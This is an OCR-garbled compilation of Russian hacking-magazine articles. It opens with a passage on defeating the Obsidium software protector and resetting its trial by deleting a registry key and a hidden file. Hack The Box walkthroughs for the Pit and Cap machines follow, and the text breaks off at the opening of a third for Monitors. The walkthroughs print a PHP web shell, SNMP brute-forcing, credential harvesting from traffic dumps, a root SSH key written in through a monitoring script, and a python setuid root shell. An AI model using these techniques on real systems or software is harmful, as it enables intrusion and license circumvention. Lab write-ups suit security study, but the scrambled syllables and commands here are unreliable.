код. Радос тно ста вим на него бряк, убрав его с  для ясности. Жмем
на про дол жение, и вот мы оста нав лива емся на самом вхо де в рас пакован ную
и рас шифро ван ную прог рамму.

ReadFile
0xB634EC

ReadFile

На тот слу чай, если мы решим написать заг рузчик, мы наш ли хорошее
мес то для инъ екции. Теперь было бы неп лохо отыс кать код для инлайн-пат ча.
По логике вещей, для кон тро ля лицен зии прог рамма дол жна вызывать фун- 
кции Obsidium пря мо изнутри себя, при чем недале ко от начала заг рузки.
Начина ем пошаго во трас сировать прог рамму и бук валь но через нес коль ко
команд натыка емся на подоз ритель ную про цеду ру , вызыва ющую

внут ри себя игно риру емую попыт ку исклю чения при мер но в таком кон тек сте:

0xB62030

   02DC091A | 0F0B                             | ud2
                                         |

   02DC091C | 0F0B                             | ud2
                                         |

     02DC091E | EB 01                            | jmp 2DC0921
                                 |

     02DC0920 | 70 EB                            | jo 2DC090D
                                  |

       02DC0922 | 0115 F7F0EB05                    | add dword ptr ds:[5
EBF0F7],edx               |

       02DC0928 | D2A4A7 872CEB1E                  | shl byte ptr ds:[edi+1
EEB2C87],cl            |

     02DC092F | EB 04                            | jmp 2DC0935
                                 |

     02DC0931 | BD A4FCBFEB                      | mov ebp,EBBFFCA4
                            |

     02DC0936 | 05 D21DA654                      | add eax,54A61DD2
                            |

    02DC093B | 5D                               | pop ebp
                                     |

       02DC093C | 8B5424 30                        | mov edx,dword ptr ss:[
esp+30]                |

     02DC0940 | EB 03                            | jmp 2DC0945
                                 |

     02DC0942 | A9 CBF2EBBA                      | test eax,BAEBF2CB
                           |

     02DC0947 | EB 04                            | jmp 2DC094D
                                 |

       02DC0949 | A2 29F963EB                      | mov byte ptr ds:[
EB63F929],al                |

    02DC094E | 03D8                             | add ebx,eax
                                 |

       02DC0950 | A2 55EBE1EB                      | mov byte ptr ds:[
EBE1EB55],al                |

Это чер тов ски похоже на код, на котором отладчик пери оди чес ки спо тыкал ся,
пока мы мед ленно, но вер но приб лижались к рас паков ке прог раммы. Сра зу
за вызовом этой про цеду ры мы видим код сле дующе го содер жания:

       00B63567 | 8B15 ACAEC000                    | mov edx,dword ptr ds:[
C0AEAC]                |

      00B6356D | 8B12                             | mov edx,dword ptr ds:[
edx]                   |

       00B6356F | 8B92 1C030000                    | mov edx,dword ptr ds:[
edx+31C]               |

       
   

    

00B63575 | 8B92 94010000                    | mov edx,dword ptr ds:[
edx+194]               | [edx+194]:L"Unregistered trial version\r\
nYou have 30 day(s) left"

Фак тичес ки у нас не оста лось никаких сом нений — имен но эта кон крет ная
про цеду ра  вызыва ет про вер ку лицен зии Obsidium и запол няет

информа цией о ней струк туру по адре су, на который ука зыва ет .

0xB62030
ds:[C0AEAC]

Итак, наша исходная задача — малой кровью пол ностью снять про тек тор
с это го модуля — была с самого начала обре чена: защита интегри рова на
в образ. В модуле при сутс тву ют ссыл ки и вызовы за его пре делы, более того,
эти ссыл ки ини циали зиру ются до начала основно го потока.

Ес ли вдум чиво покопать в IDA сдам плен ную прог рамму, таких ссы лок
на Obsidium мож но най ти в коде дос таточ но мно го в мес тах про вер ки лицен- 
зии. Каж дый такой вызов уни кален (лич но я с ходу не нашел пов торя ющих ся,
даже если они выпол няют оди нако вые фун кции), его код вир туали зован
и снаб жен собс твен ным анти отладчи ком. Конеч но, мож но повозить ся и осво- 
бодить код от всех этих вызовов (хотя это тоже не всег да дос тижимо, ибо
теоре тичес ки Obsidium уме ет вир туали зиро вать отме чен ные поль зовате лем
бло ки основно го кода прог раммы), но про ще все-таки сде лать лоадер
и инлайн-патч, кому как боль ше нра вит ся.

Од нако я обе щал рас крыть метод обхо да защиты для самых ленивых,
безо вся кого отладчи ка, ревер са и ковыря ния кода. Тот, кто читал мои статьи
о Enigma, навер ное, уже догадал ся, о чем речь. А речь идет о сбро се три ала
Obsidium внеш ними средс тва ми — при помощи толь ко ProcMon, RegEdit
и уме лых рук.

До пус тим, у нас есть защищен ная Obsidium прог рамма, работа ющая огра- 
ничен ный пери од, который очень хочет ся прод лить. Желатель но навеч но.
Одна ко лезть для это го в отладчик и сни мать защиту пол ностью нам лень.
При выч но запус каем ProcMon и изу чаем лог обра щений прог раммы к реес тру
при заг рузке. Естес твен но, мгно вен но нашему взо ру пред ста нет огромная
прос тыня, раз мер которой повер гает в уны ние. Одна ко, на счастье, авто ры
Obsidium (так же как и авто ры Enigma) осо бой фан тази ей не отли чают ся, и по
поис ку Obsidium тут же находит ся обра щение к клю чу 

 (дан ные
GUID уни каль ны для каж дой прог раммы).

\HKEY_CURRENT_USER\
SOFTWARE\Obsidium\{XXXXXXXX-XXXXXXXX-XXXXXXXX-XXXXXXXX}

Без осо бой надеж ды уда ляем ключ из реес тра и переза пус каем прог- 
рамму — естес твен но, сбро са три ала не про исхо дит. Но, как я уже говорил,
соз датели этих защит осо бой фан тази ей не отли чают ся, поэто му пред полага- 
ем, что они под креп ляют реес тро вую про вер ку каким-то хит ро спря тан ным
фай ликом на дис ке. Начина ем изу чать лог обра щения к фай ловой сис теме,
и тут нас ждет сюр приз!

Ав торы Enigma ока зались даже более ори гиналь ными: они, как ты пом- 
нишь, хра нили информа цию о регис тра ции в фай ле с неп роиз носимым наз- 
вани ем во вре мен ной сис темной пап ке. Авто ры Obsidium для это го завели
спе циаль ную под папоч ку име ни себя в под катало ге  текуще- 

го поль зовате ля (путь к фай лу выг лядит при мер но так: 

, GUID тот же, что и в реес тре). Уда ляем этот фай лик вмес те с вет- 

кой реес тра — бин го, три ал сбро шен!

RoamingAppData
C:/Users/<

Username>/AppData/Roaming/Obsidium/{XXXXXXXX-XXXXXXXX-XXXXXXXX-
XXXXXXXX}

Â ÈÒÎÃÅ

Как видишь, далеко не все виды защиты исполня емых фай лов обхо дят ся
лихим кавале рий ским нас коком: иног да раз работ чики ста рают ся мак сималь- 
но усложнить жизнь иссле дова телям и при думы вают хит роум ные спо собы
анти отладки. Одна ко на любой хит рый болт, как извес тно, оты щет ся гай ка
с левой резь бой — слож ность про тек тора иног да с лих вой ком пенси рует ся
шаб лонным под ходом к работе с реес тром и фай ловой сис темой. Чем
понима ющие люди при необ ходимос ти впол не могут вос поль зовать ся.

http://www.obsidium.de/
https://xakep.ru/2021/02/08/enigma-protector-trial/
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PIT

НАХОДИМ И ЭКСПЛУАТИРУЕМ
СЛУЖБУ SNMP

RalfHacker
hackerralf8@gmail.com

ВЗЛОМ

Се год ня мы раз берем ся с про токо лом
SNMP, который пред назна чен для монито- 
рин га устрой ств в сети, но иног да пред- 
став ляет угро зу безопас ности. Так же взло- 
маем SeedDMS и узна ем о ACL в Linux. Все
это — в рам ках про хож дения сред ней
по слож ности машины Pit с пло щад ки 

.
Hack

The Box

WARNING

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ

Ñêàíèðîâàíèå ïîðòîâ

До бав ляем IP машины в :/etc/hosts

10.10.10.241    pit.htb 

И запус каем ска ниро вание пор тов.

Справка: сканирование портов
Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз- 
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та.

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска- 
ниро вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем
име ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

Ви дим три откры тых пор та: 22 (служ ба SSH), 80 (веб-сер вер nginx 1.14.1)
и 9090 (тоже веб-сер вер). Начина ем с веба, пос коль ку на SSH без учет ки
обыч но делать нечего, а брут форсом машины с HTB не про ходят ся.

Глав ная стра ница pit.htb

Глав ная стра ница pit.htb, порт 9090

Но на  нас встре чает стра ница nginx, а на пор те 9090 —
фор ма авто риза ции CentOS Linux. Как вид но из ска на Nmap, на пор- 
те 9090 мы можем получить еще одно домен ное имя —  (поле

сер тифика та ). Закиды ваем и этот домен в .

http://pit.htb/

dms-pit.htb
commonName /etc/hosts

10.10.10.241    dms-pit.htb 

Гля нем, что там.

Глав ная стра ница сай та dms-pit.htb

Увы, ничего осо бен но весело го — нас встре чает ошиб ка 403.

Справка: сканирование веба c gobuster
Од но из пер вых дей ствий при тес тирова нии безопас ности веб-при ложе- 
ния — это ска ниро вание методом перебо ра катало гов с целью поис ка скры- 
той информа ции и недос тупных обыч ным посети телям фун кций. Для это го
мож но исполь зовать прог раммы вро де  и . Но я обыч но пус каю
в ход более быс трый .

dirsearch dirb
gobuster

При запус ке исполь зуем сле дующие парамет ры:
 — ска ниро вание дирек торий и фай лов;• dir

 — количес тво потоков;• -t
 — URL-адрес для ска ниро вания;• -u
 — сло варь для перебо ра;• -w

 — вре мя ожи дания отве та.• --timeout

По луча ются вот такие коман ды:

  128 
 30s 

gobuster dir -t -u http://pit.htb -w /usr/share/wordlists/
dirbuster/directory-list-lowercase-2.3-medium.txt --timeout

  128 
 30s 

gobuster dir -t -u http://dms-pit.htb -w /usr/share/wordlists/
dirbuster/directory-list-lowercase-2.3-medium.txt --timeout

Но и это нам не помога ет, никако го кон тента мы не находим. Тог да я решил
сос тавить кар ту единс твен ного дос тупно го нам сай та, за который отве чает
порт 9090. Перех ватыва ем зап рос в Burp Proxy и в кон текс тном меню выбира- 
ем Engagement tools → Discover content. Ука зыва ем глу бину ска ниро вания,
инте ресу ющие нас рас ширения фай лов и бэкапов. Спус тя некото рое вре мя
мы получим кар ту сай та.

Кар та сай та на пор те 9090

То же ничего инте рес ного, но зато мы узна ли, что исполь зует ся Cockpit.
В этой CMS был най ден экс пло ит, при водя щий к RCE, но у меня он не отра- 
ботал. Я даже рас терял ся, неуже ли нуж но реаль но бру тить SSH?! Но в моем
чек-лис те еще оста валась неот мечен ной гра фа ска ниро вания пор тов UDP...

ÒÎ×ÊÀ ÂÕÎÄÀ

Ñêàíèðîâàíèå SNMP

За пус каем ска ниро вание наибо лее веро ятных пор тов UDP:

nmap 1000  sudo --min-rate= -sU -p161,162,10161,10162 pit.htb 

Глав ная стра ница сай та

В резуль тате находим служ бу SNMP на пор те 161. SNMP — это прос той про- 
токол управле ния сетью, исполь зуемый для монито рин га устрой ств (нап- 
ример, мар шру тиза торов, ком мутато ров, прин теров). Тут сле дует сра зу объ- 
яснить два важ ных понятия:

 (Management Information Base) — база дан ных информа ции управле- 
ния, хра нящая информа цию обо всех объ ектах (парамет рах и нас трой ках)
устрой ства;

• MIB

 (Object IDentier) — чис ловой иден тифика тор объ екта в дереве MIB.• OID

При работе с уда лен ной сис темой по SNMP все зап росы про исхо дят через
OID, отра жающий положе ние объ екта в дереве объ ектов MIB. Но что бы
получить все стро ки, нам сна чала нуж но прой ти сво еоб разную аутен тифика- 
цию, ука зав стро ку-иден тифика тор сооб щес тва. Но так как мы ее не зна ем, ее
нуж но переб рать, к при меру с помощью . Переби рать будем по сло- 

варю из набора .

hydra
Seclists

hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-
strings.txt pit.htb snmp 

Пе ребор стро ки community

Все OID сис темы мож но получить, прос каниро вав устрой ство сле дующей
коман дой:

   snmpbulkwalk -On -r1 -v2c -c public pit.htb 1 

Дан ные, получен ные из сис темы

Дан ные, получен ные из сис темы

Дан ные, получен ные из сис темы

Мы видим некото рую слу жеб ную информа цию, получа ем некото рые пути
(сре ди них — дирек тория веб-сер вера ), рас пре деле ние
памяти и спи сок сущес тву ющих поль зовате лей. А путь 

 дает нам знать о соот ветс тву ющем пути на веб-сер- 

вере: .

/var/www/html/
/var/www/html/

seeddms51x/seeddms
http://dms-pit.htb/seeddms51x/seeddms

Фор ма авто риза ции SeedDMS

Нас встре чает фор ма авто риза ции SeedDMS.

ÒÎ×ÊÀ ÎÏÎÐÛ

SeedDMS — это опен сор сная сис тема управле ния докумен тами. В ней
реали зова ны рабочие про цес сы, пра ва дос тупа, пол нотек сто вый поиск и дру- 
гие фичи. Пос коль ку у нас есть спи сок поль зовате лей, поп робу ем раз ные
вари анты для авто риза ции. Мне уда лось зай ти как поль зователь 

с паролем .

michelle
michelle

Глав ная стра ница сай та

Óÿçâèìîñòü çàãðóçêè ôàéëîâ

Пос коль ку мы име ем дело с рас простра нен ной прог раммой, есть смысл
поис кать готовые экс пло иты.

Справка: поиск готовых эксплоитов
При пен тесте луч ше все го искать экс пло иты при помощи Google, пос коль ку
этот поис ковик заг лядыва ет и в лич ные бло ги, и в самые раз ные отче ты. Уско- 
рят дело спе циали зиро ван ные базы вро де  — там час то мож но
обна ружить под ходящие вари анты. Если ты работа ешь в спе циали зиро ван- 
ной ОС вро де , то эта база у тебя уже есть и для поис ка мож но
исполь зовать ути литу .

Exploit-DB

Kali Linux
searchsploit

По иск экс пло итов с помощью searchsploit

На ходим один экс пло ит (в базе 

), который даст выпол нение уда лен ного кода через заг- 

рузку веб-шел ла. Попут но находим еще одно го поль зовате ля.

/usr/share/exploitdb/exploits/php/
webapps/47022.txt

Ди рек тории поль зовате лей

Заг ружа ем шелл из докумен тации к экс пло иту: DMS → Docs → Users → Michelle
→ Add document.

<?php
if(isset($_REQUEST['cmd'])){

        echo "<pre>";
         $cmd = ($_REQUEST['cmd']);

       system($cmd);
        echo "</pre>";

       die;
}
?>

По лучить ID докумен та мож но, прос то наведя на него кур сор. Это будет нуж но
для получе ния пути к нашему шел лу.

Заг ружен ный документ

Те перь про чита ем файл , перей дя по сле дующей ссыл ке:/etc/passwd

http://dms-pit.htb/seeddms51x/data/1048576/[document_id]/1.php?cmd=
cat+/etc/passwd 

Здесь  — это иден тифика тор нашего заг ружен ного докумен та.document_id

Со дер жимое фай ла /etc/passwd

ÏÐÎÄÂÈÆÅÍÈÅ

Ïîëó÷åíèå ó÷åòíûõ äàííûõ

Я решил еще поис кать учет ные дан ные. Есть мно го мест, где их час то мож но
обна ружить, и самое рас простра нен ное из них — это фай лы с нас трой ками
для под клю чения к базе дан ных. Нуж но най ти этот файл, а как про читать, мы
уже зна ем. Смот рим исходни ки SeedDMS и узна ем, что это будет дирек тория

.seeddms51x/conf

Со дер жимое дирек тории seeddms51x

Со дер жимое дирек тории conf

Нас трой ки для под клю чения к базе дан ных

Мы наш ли новые учет ные дан ные, которые сто ит вез де поп робовать. Очень
уж час то один пароль исполь зует ся во мно гих мес тах — как в жиз ни, так и на
машинах с HTB. У нас получа ется авто ризо вать ся на 

с учет ными дан ными .

https://pit.htb:9090/
michelle:ied^ieY6xoquu

Глав ная стра ница сай та

Пе рей дя к , получим веб-кон соль.https://pit.htb:9090/system/terminal

Флаг поль зовате ля

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

Обес печим себе удоб ный дос туп по SSH. Сге нери руем пару клю чей и под- 
клю чим ся с при ват ным:

cd ~/.ssh 
ssh-keygen 
cp id_rsa.pub authorized_keys 

В выводе SNMP упо мина лось при ложе ние ./usr/bin/monitor

Со дер жимое скрип та /usr/bin/monitor

Этот скрипт счи тыва ет и выпол няет скрип ты  из дирек тории 

. Но мы не можем пос мотреть содер жимое этой пап ки.

check*sh /usr/
local/monitoring/

Со дер жимое дирек тории /usr/local/

За то мож но заметить, что для этой дирек тории нас тро ен спи сок кон тро ля
дос тупа. Давай получим его.

getfacl /usr/bin/monitor 

Спи сок кон тро ля дос тупа дирек тории monitoring

То есть текущий поль зователь может толь ко записы вать и исполнять фай лы
в этой дирек тории. Так, мы можем записать скрипт  и выпол нить

с помощью коман ды SNMP. Сге нери руем на локаль ной машине ключ SSH
с помощью коман ды . И соз дадим скрипт:

check*sh

ssh-keygen

#!/bin/bash

  echo "ssh-rsa AAAA...wMJamW1jkU= ralf@ralf-PC" > /root/.ssh/
authorized_keys 

За тем запус тим локаль ный веб-сер вер на осно ве Python 3 и заг рузим этот
скрипт на уда лен ную машину в нуж ную нам дирек торию:

cd /usr/local/monitoring/ 
curl http://10.10.10.14.126:8000/check.sh -o check2.sh 

А обра щени ем по SNMP запус тим , который и выпол нит

скрипт.

/usr/bin/monitor

 snmpwalk -m +MY-MIB -v2c -c public 10.10.10.241 nsExtendObjects 

Пос ле выпол нения мы не уви дим никаких оши бок, поэто му можем сме ло под- 
клю чать ся по SSH от име ни рута — наш ключ SSH уже в сис теме.

Флаг рута

Та ким обра зом мы зах ватили эту машину.

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/
https://github.com/maurosoria/dirsearch
https://kali.tools/?p=108
https://github.com/OJ/gobuster
https://github.com/danielmiessler/SecLists
https://www.exploit-db.com/
https://www.kali.org/
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РОЕМ ТРАФИК В ПОИСКАХ УЧЕТОК
И ЭКСПЛУАТИРУЕМ LINUX CAPABILITIES

RalfHacker
hackerralf8@gmail.com

ВЗЛОМ

Се год ня нам пред сто ит поуп ражнять ся
в зна нии Bash, поис кать тра фик для получе- 
ния паролей и повысить при виле гии через
флаг . И все это ради про хож- 
дения лег кой машины Cap с пло щад ки 

.

cap_setuid
Hack

The Box

WARNING

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ. ÑÊÀÍÈÐÎÂÀÍÈÅ ÏÎÐÒÎÂ

До бав ляем IP-адрес машины в :/etc/hosts

10.10.10.245    cap.htb 

И ска ниру ем пор ты.

Справка: сканирование портов
Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз- 
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та.

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска- 
ниро вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем
име ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

На ходим три откры тых пор та: 21 (FTP-сер вер vsftpd 3.0.3), 22 (служ ба SSH
8.2p1) и 80 (веб-сер вер gunicorn).

Справка: брутфорс учеток
Пос коль ку в начале про хож дения у нас нет учет ных дан ных, нет и смыс ла изу- 
чать служ бы, которые всег да тре буют авто риза ции (нап ример, SSH). Единс- 
твен ное, что мы можем делать здесь, — это переби рать пароли брут форсом,
но у машин с HTB поч ти всег да есть дру гое про хож дение. В жиз ни таких вари- 
антов может не быть, к тому же есть шан сы подоб рать пароль или получить
его при помощи соци аль ной инже нерии.

Пос мотрим, не дос тупно ли что-то на FTP ано ним ным поль зовате лям.

По пыт ка под клю чения к FTP как anonymous

Ни чего не получи лось, поэто му нам нуж но «про бивать» веб.

ÒÎ×ÊÀ ÂÕÎÄÀ. ÑÊÀÍÈÐÎÂÀÍÈÅ ÂÅÁ-ÊÎÍÒÅÍÒÀ

По ищем, нет ли чего-нибудь инте рес ного на сай те. Наша цель — опре делить
век тор даль нейшей ата ки, но по дороге нуж но собирать и дру гую информа- 
цию: име на поль зовате лей, исполь зуемые тех нологии и про чее.

Глав ная стра ница сай та http://cap.htb/

На сай те нас встре чает какая-то ста тис тика, а так же есть сле дующие стра- 
ницы:

Security Snapchat — показы вает про токо лы и количес тво сетевых пакетов;•
IP Cong — на этой стра нице отоб ража ется информа ция о сетевых
интерфей сах;

•

Network Status — показа ны кон фигура ции сети.•

Да вай перей дем к стра нице Security Snapchat. Нам пре дос тавле на воз- 
можность что-то ска чать, сде лаем это.

Ска чива ние PCAP-фай ла с Security Snapchat

От крыв файл (я для это го исполь зовал Wireshark), обна ружим, что он пуст.
Видимо, ста тис тика по сетевым пакетам, которая отоб ража ется на стра нице,
соб рана имен но по это му фай лу.

Ок но Wireshark

Боль ше все го меня заин тересо вал URL, по которо му был получен файл, —
. У меня воз никла идея переб рать подоб ные стра- 

ницы, что бы най ти файл с тра фиком. Сна чала сге нери руем сло варь, содер- 
жащий чис ла 0–99 и 00–09. Это мож но сде лать с помощью извес тно го при- 
ложе ния для генера ции сло варей . В парамет рах ука зыва ем минималь- 
ную дли ну пос ледова тель нос ти, мак сималь ную дли ну пос ледова тель нос ти
и набор сим волов.

http://cap.htb/data/20

crunch

crunch 1 2 0123456789 > list.txt 

Те перь прос каниру ем содер жимое дирек тории , к при меру с помощью
, которо му в качес тве парамет ров нуж но передать спи сок для перебо ра

(опция ) и URL (опция ). Мес то, куда будут под став лять ся сло ва из спис- 

ка, пометим пос ледова тель ностью . Так как инте рес ны адре са, которые
вер нут код 200, ука жем это в парамет ре .

/data/
ffuf

-w -u
FUZZ

-mc

ffuf  200 -w list.txt -u http://cap.htb/data/FUZZ -mc

Ре зуль тат перебо ра с помощью ffuf

За ходя на раз ные стра ницы, мы видим чис ло пакетов в том или ином дам пе
тра фика. Так мож но опре делить, что если раз мер отве та равен 17 144 бай- 
там, то соот ветс тву ющий дамп будет пуст. Наша теория под твер дилась пос ле
того, как мы откры ли стра ницу номер 22, раз мер которой сос тавля- 
ет 17 154 бай та. С нее мы можем ска чать непус той дамп тра фика.

Стра ница http://cap.htb/data/22

Но в этом дам пе ничего сущес твен ного най ти не уда лось. Он все го лишь
содер жал раз личные HTTP-зап росы. Что бы не прос матри вать каж дую стра- 
ницу отдель но и не искать что-то инте рес ное в каж дом ска чан ном дам пе, я
решил пос мотреть, как орга низо вана заг рузка, фай ла через Burp Pro. Каж дый
файл заг ружа ется при обра щении к соот ветс тву ющей стра нице в катало ге 

.
/

download/

Заг рузка фай лов в Burp History

ÒÎ×ÊÀ ÎÏÎÐÛ. ÀÍÀËÈÇ ÒÐÀÔÈÊÀ

Тут воз никла идея заг рузить все дам пы с 0 по 99 и с 00 по 09 для даль нейше- 
го ана лиза. Сде лаем это сле дующим скрип том:

 0 i++   for ((i= ;i<100; )) do wget http://cap.htb/download/$i ;done
 0 i++   for ((i= ;i<10; )) do wget http://cap.htb/download/0$i ;done

А теперь отда дим ска чан ные дам пы тра фика на рас терза ние очень удоб ной
ути лите (к сожале нию, написан ной еще на вто ром Python) . Эта прог- 
рамма уме ет вынимать важ ные дан ные, в том чис ле и учет ные записи, как из
дам па тра фика, так и нап рямую с сетево го интерфей са. Net-creds спо собен
авто мати чес ки дос тать сле дующую информа цию:

net-creds

дан ные Kerberos;•
по сещен ные URL-адре са;•
ло гины и пароли, зна чения GET- и POST-парамет ров для про токо ла HTTP;•
хе ши NTLMv1/v2, если исполь зуют ся HTTP, SMB, LDAP и так далее;•
стро ки community про токо ла SNMP;•
учет ные дан ные, переда ваемые по FTP, IRC, POP, IMAP, SMTP, Telnet.•

За пус кать ути литу будем тоже в цик ле. Так опре делим мно го HTTP-зап росов,
но все они, ско рее, отправ лены ска нером.

 0 i++   ./for ((i= ;i<100; )) do ~/tools/net-creds/net-creds.py -p $i 2>0 ;
done

 0 i++   ./0for ((i= ;i<10; )) do ~/tools/net-creds/net-creds.py -p $i 2>0 ;
done

Оп ределен ные с помощью net-creds URL-адре са

Но уже из пакета 00 уда лось дос тать учет ные дан ные для служ бы FTP.

Оп ределен ные с помощью net-creds учет ные дан ные FTP

Ав торизу емся на FTP с получен ными учет ными дан ными и прос мотрим фай лы
в кор невой дирек тории.

Ав ториза ция в FTP

Су дя по най ден ным фай лам, это домаш няя дирек тория поль зовате ля. С теми
же учет ными дан ными получа ется авто ризо вать ся по SSH. Так мы получа ем
ста биль ный дос туп.

Флаг поль зовате ля

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

Те перь, ког да мы получи ли дос туп к хос ту, нам необ ходимо соб рать
информа цию, которая может помочь с повыше нием при виле гий.

Справка: скрипты PEASS для Linux (загрузка через Python и

Wget)
Что делать пос ле того, как мы получи ли дос туп в сис тему от име ни поль- 
зовате ля? Вари антов даль нейшей экс плу ата ции и повыше ния при виле гий
может быть очень мно го, как в Linux, так и в Windows. Что бы соб рать
информа цию и наметить цели, мож но исполь зовать 

 (PEASS) — набор скрип тов, которые про веря ют сис- 
тему на авто мате.

Privilege Escalation
Awesome Scripts SUITE

Что бы вос поль зовать ся скрип том, его нуж но сна чала заг рузить на локаль- 
ный хост.

wget https://github.com/carlospolop/privilege-escalation-awesome-
scripts-suite/blob/master/linPEAS/linpeas.sh 

Те перь надо заг рузить его на уда лен ный хост. В дирек тории со скрип том
на локаль ной машине запус тим с помощью Python прос той веб-сер вер. Пос- 
ле выпол нения этой коман ды веб-сер вер будет прос лушивать порт 8000.

python3 -m http.server 

А теперь с помощью того же  на целевой машине заг рузим скрипт
с локаль ного хос та на уда лен ный. Пос ле заг рузки необ ходимо дать фай лу
пра во на выпол нение и выпол нить скрипт.

wget

wget http://[ip_локального_хоста]:8000/linpeas.sh 
chmod +x linpeas.sh 
./linpeas.sh 

По лучен ные Linux capabilities

В выводе LinPEAS обра тим вни мание на Linux capabilities. Но сна чала пара
слов о том, что же это такое.

В Linux поль зователь root получа ет осо бый кон текст при запус ке любых
про цес сов. Так, ядро и при ложе ния обыч но про пус кают любые огра ниче ния
опре делен ных дей ствий в дан ном кон тек сте, и этот поль зователь может
делать все, что захочет.

Но что, если для опре делен ного про цес са в неп ривиле гиро ван ном кон тек- 
сте нуж но выпол нить какое-то дей ствие, которое тре бует при виле гий, но при
этом нель зя давать это му про цес су выпол нять дру гие при виле гиро ван ные
дей ствия? К при меру, раз решить про цес су делать запись в жур нал ауди та
ядра, но не поз волить отклю чить этот аудит. Ведь если запус тить этот про- 
цесс в кон тек сте рута, он смо жет выпол нить оба дей ствия!

Тут на помощь при ходят . Через этот механизм «воз- 
можнос тей» про цес су дает ся толь ко какое-то под мно жес тво при виле гий.
Дру гими сло вами, все при виле гии рута раз бива ются на более мел кие
незави симые друг от дру га при виле гии и про цесс получа ет толь ко те,
которые ему нуж ны.

Linux capabilities

В нашем слу чае для Python 3.8 дос тупна воз можность . Она
поз воля ет про цес су изме нить UID во вре мя выпол нения! Так, если мы уста- 
новим в про цес се  свой UID рав ным 0, то мы получим при виле гиро ван- 

ный кон текст рута. Это мож но сде лать с помощью фун кции  из модуля
. А затем вызовем коман дную обо лоч ку в уже при виле гиро ван ном кон тек- 

сте с помощью фун кции  из того же модуля.

cap_setuid

python
setuid

os
system

 python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

Флаг рута

Мы зах ватыва ем дан ную машину и име ем над ней пол ный кон троль.

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/
https://tools.kali.org/password-attacks/crunch
https://github.com/ffuf/ffuf
https://github.com/DanMcInerney/net-creds
https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite
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ВЗЛОМ

В этой статье я покажу про хож дение слож- 
ной машины Monitors с пло щад ки 

. Мы пос каниру ем сайт
на WordPress, получим RCE в CMS Cacti,
про экс плу ати руем дыру в Apache OFBiz и,
наконец, сбе жим из Docker с мак сималь- 
ными при виле гиями бла года ря

. Поеха ли!

Hack
The Box

SYS_MODULE

WARNING

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ. ÑÊÀÍÈÐÎÂÀÍÈÅ ÏÎÐÒÎÂ

До бав ляем IP-адрес машины в :/etc/hosts

10.10.10.238    monitors.htb 

И запус каем ска ниро вание пор тов.

Справка: сканирование портов
Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз- 
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та.

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска- 
ниро вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем
име ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

Ви дим два откры тых пор та: 22 (служ ба SSH) и 80 (веб-сер вер Apache 2.4.29).
На веб-сер вере работа ет WordPress 5.5.1, с его иссле дова ния мы и нач нем.

ÒÎ×ÊÀ ÂÕÎÄÀ

Ñêàíèðîâàíèå WordPress

Тес тировать сай ты на WordPress удоб нее все го ути литой . С ее
помощью мож но обна ружить уяз вимые вер сии самого WordPress, тем и пла- 
гинов, а так же соб рать име на поль зовате лей и переб рать учет ные дан ные.
В общем, все, что может понадо бить ся! Перед началом ска ниро вания
советую зарегис три ровать ся на  и получить токен
API. Тог да ути лита будет авто мати чес ки про верять най ден ные стра ницы
на уяз вимос ти. Нам даже пре дос тавят ссыл ку на отчет или готовый экс пло ит!

WPScan

офи циаль ном сай те WPScan

Ча ще все го уяз вимы пла гины, поэто му я зарядил их перебор (опция 
) в агрессив ном режиме (опция ),

